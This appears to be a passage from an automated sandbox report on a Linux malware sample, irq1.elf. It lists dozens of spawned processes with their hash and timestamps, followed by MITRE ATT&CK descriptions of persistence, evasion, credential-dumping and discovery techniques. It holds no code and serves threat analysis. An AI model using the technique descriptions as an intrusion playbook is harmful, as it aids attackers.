MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5831, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5834, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5836, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5837, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5839, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5841, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5843, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5846, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5847, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5849, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5851, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5854, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5855, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5857, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5859, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5861, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5864, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5866, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5870, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5873, Parent PID: 5716

General

Start time (UTC):	16:10:15
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5875, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5877, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5879, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5881, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5885, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5886, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5889, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5891, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5893, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5895, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5897, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5898, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5900, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5902, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5904, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5906, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5909, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5910, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5913, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5915, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5916, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5919, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5920, Parent PID: 5716

General

Start time (UTC):	16:10:16
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5922, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5924, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5926, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5929, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5930, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5932, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5935, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5936, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5939, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5940, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5942, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5943, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5945, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5947, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5950, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5952, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5953, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5957, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5958, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5961, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5963, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5964, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5967, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5968, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5970, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5973, Parent PID: 5716

General

Start time (UTC):	16:10:17
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5976, Parent PID: 5716

General

Start time (UTC):	16:10:18
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5979, Parent PID: 5716

General

Start time (UTC):	16:10:19
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5994, Parent PID: 5716

General

Start time (UTC):	16:10:28
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6073, Parent PID: 5716

General

Start time (UTC):	16:10:33
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6075, Parent PID: 5716

General

Start time (UTC):	16:10:33
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6077, Parent PID: 5716

General

Start time (UTC):	16:10:33
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6079, Parent PID: 5716

General

Start time (UTC):	16:10:33
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6081, Parent PID: 5716

General

Start time (UTC):	16:10:33
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6082, Parent PID: 5716

General

Start time (UTC):	16:10:33
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6097, Parent PID: 5716

General

Start time (UTC):	16:10:38
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6132, Parent PID: 5716

General

Start time (UTC):	16:10:39
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6134, Parent PID: 5716

General

Start time (UTC):	16:10:39
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6135, Parent PID: 5716

General

Start time (UTC):	16:10:39
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6138, Parent PID: 5716

General

Start time (UTC):	16:10:39
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6141, Parent PID: 5716

General

Start time (UTC):	16:10:40
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6145, Parent PID: 5716

General

Start time (UTC):	16:10:40
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6148, Parent PID: 5716

General

Start time (UTC):	16:10:40
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 6149, Parent PID: 5716

General

Start time (UTC):	16:10:41
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Creation, File: File Metadata, File: File Modification, Firmware: Firmware Modification, Process: OS API Execution, Process: Process Creation, Script: Script Execution, Service: Service Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

